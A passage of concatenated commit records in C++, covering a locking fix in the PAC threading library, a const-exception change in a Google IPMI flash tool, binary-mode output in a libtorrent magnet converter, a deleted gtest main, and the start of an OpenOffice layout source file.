cond;\n\tstd::thread thr;\n\n\tvoid run()\n\t{\n\t\tcontext_invoker inv( ctxt );\n\n\t\tfor ( bool finished = false;\n\t\t      !finished;\n\t\t    ) {\n\n\t\t\tif ( pauseme )\n\t\t\t\thandle_pause();\n\n\t\t\tif ( quitme )\n\t\t\t\tbreak;\n\n\t\t\tauto res = inv.iterate();\n\t\t\tif ( !res ) {\n\t\t\t\tidle( [&](){ return !quitme && ctxt->runnable_count() == 0; } );\n\t\t\t}\n\n\t\t}\n\n\t\thandle_quit();\n\t}\n\n\tbool is_toe_context()\n\t{\n\t\treturn ctxt->get_thread_id() == context::current_thread_id();\n\t}\n\n\tvoid idle()\n\t{\n\t\tstd::unique_lock<std::mutex> lock( mutex );\n\t\tcond.wait_for( lock, std::chrono::milliseconds(10) );\n\t}\n\n\ttemplate<class Condition>\n\tvoid idle( Condition cond )\n\t{\n\t\twhile( cond() )\n\t\t\tidle();\n\t}\n\n\tvoid wake()\n\t{\n\t\tcond.notify_all();\n\t}\n\n\tvoid handle_pause()\n\t{\n\t\tif ( !is_toe_context() )\n\t\t\treturn;\n\n\t\twhile( pauseme == true ) {\n\t\t\tidle();\n\t\t}\n\t}\n\n\tvoid handle_resume()\n\t{\n\t\twake();\n\t}\n\n\tvoid handle_quit()\n\t{}\n\npublic:\n\tenum launch_type {\n\t\tsync,\n\t\tasync\n\t};\n\npublic:\n\ttoe() :\n\t\tctxt{ context::create() }, mutex{}, pauseme{false},\n\t\tquitme{false}, cond{}, thr{}\n\t{}\n\n\ttoe( context_ptr c )\n\t\t: ctxt{ c }, mutex{}, pauseme{false}, quitme{false},\n\t\t  cond{}, thr{}\n\t{}\n\n\t~toe()\n\t{\n\t\tquit();\n\t\tjoin();\n\t}\n\n\tvoid set_context( context_ptr c )\n\t{\n\t\tusing std::swap;\n\t\tswap( ctxt, c );\n\t}\n\n\tvoid launch( launch_type t = sync )\n\t{\n\t\tif ( t == sync )\n\t\t\trun();\n\t\telse if ( t == async )\n\t\t\tthr = std::thread( &toe::run, this );\n\t}\n\n\tvoid pause()\n\t{ pauseme = true; handle_pause(); }\n\n\tvoid resume()\n\t{ pauseme = false; handle_resume(); }\n\n\tvoid quit()\n\t{ quitme = true; resume(); }\n\n\tvoid join()\n\t{\n\t\tif ( joinable() )\n\t\t\tthr.join();\n\t}\n\n\tbool joinable()\n\t{\n\t\treturn thr.joinable();\n\t}\n\n\tvoid sleep_for( long long time_us )\n\t{\n\t\tif ( is_toe_context() )\n\t\t\tstd::this_thread::sleep_for( std::chrono::microseconds( time_us ) );\n\t}\n\n\ttemplate<class Callback, class... Args>\n\tvoid add_callback( Callback callback, Args&&... args )\n\t{\n\t\tctxt->add_callback( callback, std::forward<Args>(args)... );\n\t\twake();\n\t}\n};\n\ntemplate<class Ret, class... Args, class RetGenerator = Ret>\nauto toe_callback( toe& toe, pac::callback<Ret(Args...)> cb )\n{\n\tauto stubfunc = [&toe, cb]( Args... args )\n\t\t{\n\t\t\ttoe.add_callback( cb, std::forward<Args>(args)... );\n\t\t\treturn RetGenerator();\n\t\t};\n\n\tpac::callback<Ret(Args...)> stubcb( stubfunc );\n\treturn stubcb;\n}\n\n} \/\/ namespace pac\n\n#endif \/\/ PAC_CONTEXT_HPP\n<commit_msg>Add locking to areas in pac::toe where it accesses context<commit_after>\/*\n * This file is part of PAC\n *\n * PAC is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * PAC is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with PAC.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n\/*\n * context.hpp\n *\n * Author: Brian Fransioli\n * Created: Mon Mar 10 17:30:53 KST 2014\n * Last modified: Wed Mar 19 16:51:50 KST 2014\n *\/\n\n#ifndef PAC_CONTEXT_HPP\n#define PAC_CONTEXT_HPP\n\n#include \"runnable.hpp\"\n#include \"signal.hpp\"\n\n#include <memory>\n#include <thread>\n#include <condition_variable>\n#include <mutex>\n#include <vector>\n#include <map>\n#include <list>\n#include <algorithm>\n#include <atomic>\n\nnamespace pac {\n\nclass context\n{\npublic:\n\tusing runnable_ptr = std::shared_ptr< runnable >;\n\tusing runnable_cont = std::list< runnable_ptr >;\n\tusing runnable_iter = typename runnable_cont::iterator;\n\n\tusing context_id = std::size_t;\n\tusing context_ptr = std::shared_ptr< context >;\n\n\tusing thread_id = std::thread::id;\n\nprivate:\n\trunnable_cont runnables;\n\tcontext_id cid;\n\tthread_id tid;\n\npublic:\n\tcontext()\n\t\t: runnables{}, cid{}, tid{}\n\t{}\n\n\tstatic context_ptr create()\n\t{\n\t\treturn std::make_shared<context>();\n\t}\n\n\trunnable_ptr next_runnable()\n\t{\n\t\tif ( runnables.empty() )\n\t\t\treturn {};\n\n\t\tauto run = runnables.front();\n\t\trunnables.pop_front();\n\n\t\treturn run;\n\t}\n\n\tstd::size_t runnable_count()\n\t{\n\t\treturn runnables.size();\n\t}\n\n\tvoid add_runnable( runnable_ptr run )\n\t{\n\t\trunnables.push_back( run );\n\t}\n\n\ttemplate<class Callback, class... Args>\n\tvoid add_callback( Callback callback, Args&&... args )\n\t{\n\t\trunnable_ptr run =\n\t\t\tstd::make_shared<runnable>( callback, std::forward<Args>(args)... );\n\n\t\trun->set_once();\n\t\tadd_runnable( run );\n\t}\n\n\tvoid reset()\n\t{\n\t\trunnables.clear();\n\t}\n\n\tvoid set_thread_id( thread_id id )\n\t{\n\t\ttid = id;\n\t}\n\n\tvoid set_thread_id()\n\t{\n\t\ttid = std::this_thread::get_id();\n\t}\n\n\tthread_id get_thread_id() const\n\t{\n\t\treturn tid;\n\t}\n\n\tstatic thread_id current_thread_id()\n\t{\n\t\treturn std::this_thread::get_id();\n\t}\n};\n\nstruct context_invoker\n{\n\tusing context_ptr = context::context_ptr;\n\n\tcontext_ptr ctxt;\n\n\tcontext_invoker( context_ptr c )\n\t\t: ctxt(c)\n\t{\n\t\tctxt->set_thread_id();\n\t}\n\n\tbool iterate(std::mutex& mutex)\n\t{\n\t\tstd::unique_lock<std::mutex> lock( mutex );\n\t\tauto nextrun = ctxt->next_runnable();\n\t\tlock.unlock();\n\n\t\tif (!nextrun)\n\t\t\treturn false;\n\n\t\tauto res = nextrun->run();\n\n\t\tif ( res == runnable_status::CONTINUING ) {\n\t\t\tlock.lock();\n\t\t\tctxt->add_runnable( nextrun );\n\t\t\tlock.unlock();\n\t\t}\n\n\t\treturn true;\n\t}\n\n};\n\nclass toe\n{\n\tusing context_ptr = context::context_ptr;\n\n\tcontext_ptr ctxt;\n\tstd::mutex mutex;\n\tstd::atomic<bool> pauseme;\n\tstd::atomic<bool> quitme;\n\tstd::condition_variable cond;\n\tstd::thread thr;\n\n\tvoid run()\n\t{\n\t\tcontext_invoker inv( ctxt );\n\n\t\tfor ( bool finished = false; !finished; ) {\n\n\t\t\tif ( pauseme )\n\t\t\t\thandle_pause();\n\n\t\t\tif ( quitme )\n\t\t\t\tbreak;\n\n\t\t\tauto res = inv.iterate(mutex);\n\t\t\tif ( !res ) {\n\t\t\t\tidle( [&](){ return !quitme && ctxt->runnable_count() == 0; } );\n\t\t\t}\n\n\t\t}\n\n\t\thandle_quit();\n\t}\n\n\tbool is_toe_context()\n\t{\n\t\treturn ctxt->get_thread_id() == context::current_thread_id();\n\t}\n\n\tvoid idle()\n\t{\n\t\tstd::unique_lock<std::mutex> lock( mutex );\n\t\tcond.wait_for( lock, std::chrono::milliseconds(10) );\n\t}\n\n\ttemplate<class Condition>\n\tvoid idle( Condition cond )\n\t{\n\t\twhile( cond() )\n\t\t\tidle();\n\t}\n\n\tvoid wake()\n\t{\n\t\tstd::lock_guard<std::mutex> lock( mutex );\n\t\tcond.notify_all();\n\t}\n\n\tvoid handle_pause()\n\t{\n\t\tif ( !is_toe_context() )\n\t\t\treturn;\n\n\t\twhile( pauseme == true ) {\n\t\t\tidle();\n\t\t}\n\t}\n\n\tvoid handle_resume()\n\t{\n\t\twake();\n\t}\n\n\tvoid handle_quit()\n\t{}\n\npublic:\n\tenum launch_type {\n\t\tsync,\n\t\tasync\n\t};\n\npublic:\n\ttoe() :\n\t\tctxt{ context::create() }, mutex{}, pauseme{false},\n\t\tquitme{false}, cond{}, thr{}\n\t{}\n\n\ttoe( context_ptr c )\n\t\t: ctxt{ c }, mutex{}, pauseme{false}, quitme{false},\n\t\t  cond{}, thr{}\n\t{}\n\n\t~toe()\n\t{\n\t\tquit();\n\t\tjoin();\n\t}\n\n\tvoid set_context( context_ptr c )\n\t{\n\t\tusing std::swap;\n\t\tswap( ctxt, c );\n\t}\n\n\tvoid launch( launch_type t = sync )\n\t{\n\t\tif ( t == sync )\n\t\t\trun();\n\t\telse if ( t == async )\n\t\t\tthr = std::thread( &toe::run, this );\n\t}\n\n\tvoid pause()\n\t{ pauseme = true; handle_pause(); }\n\n\tvoid resume()\n\t{ pauseme = false; handle_resume(); }\n\n\tvoid quit()\n\t{ quitme = true; resume(); }\n\n\tvoid join()\n\t{\n\t\tif ( joinable() )\n\t\t\tthr.join();\n\t}\n\n\tbool joinable()\n\t{\n\t\treturn thr.joinable();\n\t}\n\n\tvoid sleep_for( long long time_us )\n\t{\n\t\tif ( is_toe_context() )\n\t\t\tstd::this_thread::sleep_for( std::chrono::microseconds( time_us ) );\n\t}\n\n\ttemplate<class Callback, class... Args>\n\tvoid add_callback( Callback callback, Args&&... args )\n\t{\n\t\t{\n\t\t\tstd::lock_guard<std::mutex> lock( mutex );\n\t\t\tctxt->add_callback( callback, std::forward<Args>(args)... );\n\t\t}\n\t\twake();\n\t}\n};\n\ntemplate<class Ret, class... Args, class RetGenerator = Ret>\nauto toe_callback( toe& toe, pac::callback<Ret(Args...)> cb )\n{\n\tauto stubfunc = [&toe, cb]( Args... args )\n\t\t{\n\t\t\ttoe.add_callback( cb, std::forward<Args>(args)... );\n\t\t\treturn RetGenerator();\n\t\t};\n\n\tpac::callback<Ret(Args...)> stubcb( stubfunc );\n\treturn stubcb;\n}\n\n} \/\/ namespace pac\n\n#endif \/\/ PAC_CONTEXT_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2019 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"p2a.hpp\"\n\n#include \"data.hpp\"\n#include \"flags.hpp\"\n#include \"pci.hpp\"\n#include \"tool_errors.hpp\"\n\n#include <fmt\/format.h>\n\n#include <ipmiblob\/blob_errors.hpp>\n#include <stdplus\/handle\/managed.hpp>\n\n#include <cstdint>\n#include <cstring>\n#include <memory>\n#include <string>\n\nnamespace host_tool\n{\n\nnamespace\n{\n\n\/** @brief RAII wrapper and its destructor for opening a file descriptor *\/\nstatic void closeFd(int&& fd, const internal::Sys* const& sys)\n{\n    sys->close(fd);\n}\nusing Fd = stdplus::Managed<int, const internal::Sys* const>::Handle<closeFd>;\n\n} \/\/ namespace\n\nbool P2aDataHandler::sendContents(const std::string& input,\n                                  std::uint16_t session)\n{\n    std::unique_ptr<PciBridgeIntf> bridge;\n    ipmi_flash::PciConfigResponse pciResp;\n    std::int64_t fileSize;\n\n    try\n    {\n        bridge = std::make_unique<NuvotonPciBridge>(pci, skipBridgeDisable);\n    }\n    catch (NotFoundException& e)\n    {}\n\n    try\n    {\n        bridge = std::make_unique<AspeedPciBridge>(pci, skipBridgeDisable);\n    }\n    catch (NotFoundException& e)\n    {}\n\n    if (!bridge)\n    {\n        throw NotFoundException(\"supported PCI device\");\n    }\n\n    \/* Read the configuration via blobs metadata (stat). *\/\n    ipmiblob::StatResponse stat = blob->getStat(session);\n    if (stat.metadata.size() != sizeof(ipmi_flash::PciConfigResponse))\n    {\n        throw ToolException(\"Didn't receive expected size of metadata for \"\n                            \"PCI Configuration response\");\n    }\n\n    std::memcpy(&pciResp, stat.metadata.data(), sizeof(pciResp));\n    bridge->configure(pciResp);\n\n    \/* For data blocks in 64kb, stage data, and send blob write command. *\/\n    Fd inputFd(sys->open(input.c_str(), 0), sys);\n    if (*inputFd < 0)\n    {\n        (void)inputFd.release();\n        throw internal::errnoException(\n            fmt::format(\"Error opening file '{}'\", input));\n    }\n\n    fileSize = sys->getSize(input.c_str());\n    if (fileSize == 0)\n    {\n        throw ToolException(\"Zero-length file, or other file access error\");\n    }\n\n    progress->start(fileSize);\n\n    std::vector<std::uint8_t> readBuffer(bridge->getDataLength());\n\n    int bytesRead = 0;\n    std::uint32_t offset = 0;\n\n    do\n    {\n        bytesRead = sys->read(*inputFd, readBuffer.data(), readBuffer.size());\n        if (bytesRead > 0)\n        {\n            bridge->write(stdplus::span<const std::uint8_t>(readBuffer.data(),\n                                                            bytesRead));\n\n            \/* Ok, so the data is staged, now send the blob write with the\n             * details.\n             *\/\n            struct ipmi_flash::ExtChunkHdr chunk;\n            chunk.length = bytesRead;\n            std::vector<std::uint8_t> chunkBytes(sizeof(chunk));\n            std::memcpy(chunkBytes.data(), &chunk, sizeof(chunk));\n\n            \/* This doesn't return anything on success. *\/\n            blob->writeBytes(session, offset, chunkBytes);\n            offset += bytesRead;\n            progress->updateProgress(bytesRead);\n        }\n    } while (bytesRead > 0);\n\n    progress->finish();\n    return true;\n}\n\n} \/\/ namespace host_tool\n<commit_msg>catch exceptions as const<commit_after>\/*\n * Copyright 2019 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"p2a.hpp\"\n\n#include \"data.hpp\"\n#include \"flags.hpp\"\n#include \"pci.hpp\"\n#include \"tool_errors.hpp\"\n\n#include <fmt\/format.h>\n\n#include <ipmiblob\/blob_errors.hpp>\n#include <stdplus\/handle\/managed.hpp>\n\n#include <cstdint>\n#include <cstring>\n#include <memory>\n#include <string>\n\nnamespace host_tool\n{\n\nnamespace\n{\n\n\/** @brief RAII wrapper and its destructor for opening a file descriptor *\/\nstatic void closeFd(int&& fd, const internal::Sys* const& sys)\n{\n    sys->close(fd);\n}\nusing Fd = stdplus::Managed<int, const internal::Sys* const>::Handle<closeFd>;\n\n} \/\/ namespace\n\nbool P2aDataHandler::sendContents(const std::string& input,\n                                  std::uint16_t session)\n{\n    std::unique_ptr<PciBridgeIntf> bridge;\n    ipmi_flash::PciConfigResponse pciResp;\n    std::int64_t fileSize;\n\n    try\n    {\n        bridge = std::make_unique<NuvotonPciBridge>(pci, skipBridgeDisable);\n    }\n    catch (const NotFoundException& e)\n    {}\n\n    try\n    {\n        bridge = std::make_unique<AspeedPciBridge>(pci, skipBridgeDisable);\n    }\n    catch (const NotFoundException& e)\n    {}\n\n    if (!bridge)\n    {\n        throw NotFoundException(\"supported PCI device\");\n    }\n\n    \/* Read the configuration via blobs metadata (stat). *\/\n    ipmiblob::StatResponse stat = blob->getStat(session);\n    if (stat.metadata.size() != sizeof(ipmi_flash::PciConfigResponse))\n    {\n        throw ToolException(\"Didn't receive expected size of metadata for \"\n                            \"PCI Configuration response\");\n    }\n\n    std::memcpy(&pciResp, stat.metadata.data(), sizeof(pciResp));\n    bridge->configure(pciResp);\n\n    \/* For data blocks in 64kb, stage data, and send blob write command. *\/\n    Fd inputFd(sys->open(input.c_str(), 0), sys);\n    if (*inputFd < 0)\n    {\n        (void)inputFd.release();\n        throw internal::errnoException(\n            fmt::format(\"Error opening file '{}'\", input));\n    }\n\n    fileSize = sys->getSize(input.c_str());\n    if (fileSize == 0)\n    {\n        throw ToolException(\"Zero-length file, or other file access error\");\n    }\n\n    progress->start(fileSize);\n\n    std::vector<std::uint8_t> readBuffer(bridge->getDataLength());\n\n    int bytesRead = 0;\n    std::uint32_t offset = 0;\n\n    do\n    {\n        bytesRead = sys->read(*inputFd, readBuffer.data(), readBuffer.size());\n        if (bytesRead > 0)\n        {\n            bridge->write(stdplus::span<const std::uint8_t>(readBuffer.data(),\n                                                            bytesRead));\n\n            \/* Ok, so the data is staged, now send the blob write with the\n             * details.\n             *\/\n            struct ipmi_flash::ExtChunkHdr chunk;\n            chunk.length = bytesRead;\n            std::vector<std::uint8_t> chunkBytes(sizeof(chunk));\n            std::memcpy(chunkBytes.data(), &chunk, sizeof(chunk));\n\n            \/* This doesn't return anything on success. *\/\n            blob->writeBytes(session, offset, chunkBytes);\n            offset += bytesRead;\n            progress->updateProgress(bytesRead);\n        }\n    } while (bytesRead > 0);\n\n    progress->finish();\n    return true;\n}\n\n} \/\/ namespace host_tool\n<|endoftext|>"}
{"text":"<commit_before>#include <chrono>\n#include <exception>\n#include <stdexcept>\t\/\/ __gnu_cxx::__verbose_terminate_handler\n#include <fstream>\n#include <iostream>\n#include <thread>\n\n#include <libtorrent\/add_torrent_params.hpp>\n#include <libtorrent\/alert_types.hpp>\n#include <libtorrent\/bencode.hpp>\n#include <libtorrent\/create_torrent.hpp>\n#include <libtorrent\/session.hpp>\n#include <libtorrent\/storage_defs.hpp>\t\/\/ lt::disabled_storage_constructor\n#include <libtorrent\/torrent_handle.hpp>\n#include <libtorrent\/torrent_info.hpp>\n\nnamespace lt = libtorrent;\nint main(int argc, char *argv[]) {\n\tstd::set_terminate(__gnu_cxx::__verbose_terminate_handler);\n\tif (argc != 2) {\n\t\tstd::cerr << \"usage: \" << argv[0] << \" <magnet-url>\" <<\n\t\t\tstd::endl;\n\t\treturn 1;\n\t}\n\n\tlt::session ses;\n\tlt::add_torrent_params atp;\n\tatp.url = argv[1];\n\tatp.upload_mode = true;\n\tatp.auto_managed = false;\n\tatp.paused = false;\n\t\/\/ Start with \"storage == disabled\" to avoid pre-allocating any files\n\t\/\/ mentioned in the torrent file on disk:\n\tatp.storage = lt::disabled_storage_constructor;\n\tatp.save_path = \".\"; \/\/ save in current dir\n\t\/*\n\t\/\/ .flags duplicate .upload_mode\/auto_managed\/paused\n\t\/\/ functionality:\n\tatp.flags = lt::add_torrent_params::flag_update_subscribe\n\t\t| lt::add_torrent_params::flag_upload_mode\n\t\t| lt::add_torrent_params::flag_apply_ip_filter;\n\t*\/\n\tlt::torrent_handle torh = ses.add_torrent(atp);\n\tstd::cout << atp.url << \":\";\n\tfor (;;) {\n\t\tstd::deque<lt::alert*> alerts;\n\t\tses.pop_alerts(&alerts);\n\t\tfor (lt::alert const* a : alerts) {\n\t\t\tstd::cout << std::endl << a->message() << std::endl;\n\t\t\t\/\/ quit on error\/finish:\n\t\t\tif (lt::alert_cast<lt::torrent_finished_alert>(a)\n\t\t\t|| lt::alert_cast<lt::torrent_error_alert>(a)) {\n\t\t\t\tgoto done1;\n\t\t\t};\n\t\t}\n\t\tif (torh.status().has_metadata) {\n\t\t\tses.pause();\n\t\t\tlt::torrent_info tinf =\n\t\t\t\ttorh.get_torrent_info();\n\t\t\tstd::cout << tinf.name() << std::endl;\n\t\t\tstd::cout.flush();\n\t\t\tstd::ofstream ofs;\n\t\t\tofs.exceptions(std::ofstream::failbit\n\t\t\t\t\t| std::ofstream::badbit);\n\t\t\tofs.open(tinf.name() + \".torrent\");\n\t\t\tstd::ostream_iterator<char> ofsi(ofs);\n\t\t\tlt::bencode(ofsi, lt::create_torrent(tinf)\n\t\t\t\t\t.generate());\n\t\t\tofs.close();\n\t\t\tses.remove_torrent(torh);\n\t\t\tgoto done0;\n\t\t};\n\t\tstd::cout << \".\";\n\t\tstd::cout.flush();\n\t\tstd::this_thread::sleep_for(\n\t\t\tstd::chrono::milliseconds(1000));\n\t}\ndone0:\n\treturn 0;\ndone1:\n\treturn 1;\n}\n\n\/\/ vi: set sw=8 ts=8 noet tw=77:\n<commit_msg>Write .torrent file in binary mode.<commit_after>#include <chrono>\n#include <exception>\n#include <stdexcept>\t\/\/ __gnu_cxx::__verbose_terminate_handler\n#include <fstream>\n#include <iostream>\n#include <thread>\n\n#include <libtorrent\/add_torrent_params.hpp>\n#include <libtorrent\/alert_types.hpp>\n#include <libtorrent\/bencode.hpp>\n#include <libtorrent\/create_torrent.hpp>\n#include <libtorrent\/session.hpp>\n#include <libtorrent\/storage_defs.hpp>\t\/\/ lt::disabled_storage_constructor\n#include <libtorrent\/torrent_handle.hpp>\n#include <libtorrent\/torrent_info.hpp>\n\nnamespace lt = libtorrent;\nint main(int argc, char *argv[]) {\n\tstd::set_terminate(__gnu_cxx::__verbose_terminate_handler);\n\tif (argc != 2) {\n\t\tstd::cerr << \"usage: \" << argv[0] << \" <magnet-url>\" <<\n\t\t\tstd::endl;\n\t\treturn 1;\n\t}\n\n\tlt::session ses;\n\tlt::add_torrent_params atp;\n\tatp.url = argv[1];\n\tatp.upload_mode = true;\n\tatp.auto_managed = false;\n\tatp.paused = false;\n\t\/\/ Start with \"storage == disabled\" to avoid pre-allocating any files\n\t\/\/ mentioned in the torrent file on disk:\n\tatp.storage = lt::disabled_storage_constructor;\n\tatp.save_path = \".\"; \/\/ save in current dir\n\t\/*\n\t\/\/ .flags duplicate .upload_mode\/auto_managed\/paused\n\t\/\/ functionality:\n\tatp.flags = lt::add_torrent_params::flag_update_subscribe\n\t\t| lt::add_torrent_params::flag_upload_mode\n\t\t| lt::add_torrent_params::flag_apply_ip_filter;\n\t*\/\n\tlt::torrent_handle torh = ses.add_torrent(atp);\n\tstd::cout << atp.url << \":\";\n\tfor (;;) {\n\t\tstd::deque<lt::alert*> alerts;\n\t\tses.pop_alerts(&alerts);\n\t\tfor (lt::alert const* a : alerts) {\n\t\t\tstd::cout << std::endl << a->message() << std::endl;\n\t\t\t\/\/ quit on error\/finish:\n\t\t\tif (lt::alert_cast<lt::torrent_finished_alert>(a)\n\t\t\t|| lt::alert_cast<lt::torrent_error_alert>(a)) {\n\t\t\t\tgoto done1;\n\t\t\t};\n\t\t}\n\t\tif (torh.status().has_metadata) {\n\t\t\tses.pause();\n\t\t\tlt::torrent_info tinf =\n\t\t\t\ttorh.get_torrent_info();\n\t\t\tstd::cout << tinf.name() << std::endl;\n\t\t\tstd::cout.flush();\n\t\t\tstd::ofstream ofs;\n\t\t\tofs.exceptions(std::ofstream::failbit\n\t\t\t\t\t| std::ofstream::badbit);\n\t\t\tofs.open(tinf.name() + \".torrent\",\n\t\t\t\t\tstd::ofstream::binary);\n\t\t\tstd::ostream_iterator<char> ofsi(ofs);\n\t\t\tlt::bencode(ofsi, lt::create_torrent(tinf)\n\t\t\t\t\t.generate());\n\t\t\tofs.close();\n\t\t\tses.remove_torrent(torh);\n\t\t\tgoto done0;\n\t\t};\n\t\tstd::cout << \".\";\n\t\tstd::cout.flush();\n\t\tstd::this_thread::sleep_for(\n\t\t\tstd::chrono::milliseconds(1000));\n\t}\ndone0:\n\treturn 0;\ndone1:\n\treturn 1;\n}\n\n\/\/ vi: set sw=8 ts=8 noet tw=77:\n<|endoftext|>"}
{"text":"<commit_before>#include <gtest\/gtest.h>\n#include \"exp.h\"\n\nint main( int argc , char **argv )\n{\n    testing :: InitGoogleTest( &argc , argv ) ;\n    return RUN_ALL_TESTS( ) ;\n}\n<commit_msg>Delete mainExp.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: flyincnt.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: vg $ $Date: 2003-04-17 14:12:06 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#pragma hdrstop\n\n#include \"cntfrm.hxx\"\n#include \"doc.hxx\"\n#include \"flyfrm.hxx\"\n#include \"frmtool.hxx\"\n#include \"frmfmt.hxx\"\n#include \"hints.hxx\"\n\n#ifndef _FMTORNT_HXX \/\/autogen\n#include <fmtornt.hxx>\n#endif\n#ifndef _FMTFSIZE_HXX \/\/autogen\n#include <fmtfsize.hxx>\n#endif\n#include \"txtfrm.hxx\"       \/\/fuer IsLocked()\n#include \"flyfrms.hxx\"\n\n\/\/aus FlyCnt.cxx\nvoid DeepCalc( const SwFrm *pFrm );\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::SwFlyInCntFrm(), ~SwFlyInCntFrm()\n|*\n|*  Ersterstellung      MA 01. Dec. 92\n|*  Letzte Aenderung    MA 09. Apr. 99\n|*\n|*************************************************************************\/\nSwFlyInCntFrm::SwFlyInCntFrm( SwFlyFrmFmt *pFmt, SwFrm *pAnch ) :\n    SwFlyFrm( pFmt, pAnch )\n{\n    bInCnt = bInvalidLayout = bInvalidCntnt = TRUE;\n    SwTwips nRel = pFmt->GetVertOrient().GetPos();\n#ifdef VERTICAL_LAYOUT\n    if( pAnch && pAnch->IsVertical() )\n        aRelPos.X() = pAnch->IsReverse() ? nRel : -nRel;\n    else\n#endif\n    aRelPos.Y() = nRel;\n}\n\nSwFlyInCntFrm::~SwFlyInCntFrm()\n{\n    \/\/und Tschuess.\n    if ( !GetFmt()->GetDoc()->IsInDtor() && GetAnchor() )\n    {\n        SwRect aTmp( AddSpacesToFrm() );\n        SwFlyInCntFrm::NotifyBackground( FindPageFrm(), aTmp, PREP_FLY_LEAVE );\n    }\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::SetRefPoint(),\n|*\n|*  Ersterstellung      MA 01. Dec. 92\n|*  Letzte Aenderung    MA 06. Aug. 95\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::SetRefPoint( const Point& rPoint, const Point& rRelAttr,\n    const Point& rRelPos )\n{\n    ASSERT( rPoint != aRef || rRelAttr != aRelPos, \"SetRefPoint: no change\" );\n    SwFlyNotify *pNotify = NULL;\n    \/\/ No notify at a locked fly frame, if a fly frame is locked, there's\n    \/\/ already a SwFlyNotify object on the stack (MakeAll).\n    if( !IsLocked() )\n        pNotify = new SwFlyNotify( this );\n    aRef = rPoint;\n    aRelPos = rRelAttr;\n#ifdef VERTICAL_LAYOUT\n    SWRECTFN( GetAnchor() )\n    (Frm().*fnRect->fnSetPos)( rPoint + rRelPos );\n#else\n    Frm().Pos( rPoint + rRelPos );\n#endif\n\/*\n    \/\/Kein InvalidatePos hier, denn das wuerde dem Cntnt ein Prepare\n    \/\/senden - dieser hat uns aber gerade gerufen.\n    \/\/Da der Frm aber durchaus sein Position wechseln kann, muss hier\n    \/\/der von ihm abdeckte Window-Bereich invalidiert werden damit keine\n    \/\/Reste stehenbleiben.\n    \/\/Fix: Nicht fuer PreView-Shells, dort ist es nicht notwendig und\n    \/\/fuehrt zu fiesen Problemen (Der Absatz wird nur formatiert weil\n    \/\/er gepaintet wird und der Cache uebergelaufen ist, beim Paint durch\n    \/\/das Invalidate wird der Absatz formatiert weil...)\n    if ( Frm().HasArea() && GetShell()->ISA(SwCrsrShell) )\n        GetShell()->InvalidateWindows( Frm() );\n*\/\n    if( pNotify )\n    {\n        InvalidatePage();\n        bValidPos = FALSE;\n        bInvalid  = TRUE;\n        Calc();\n        delete pNotify;\n    }\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::Modify()\n|*\n|*  Ersterstellung      MA 16. Dec. 92\n|*  Letzte Aenderung    MA 02. Sep. 93\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::Modify( SfxPoolItem 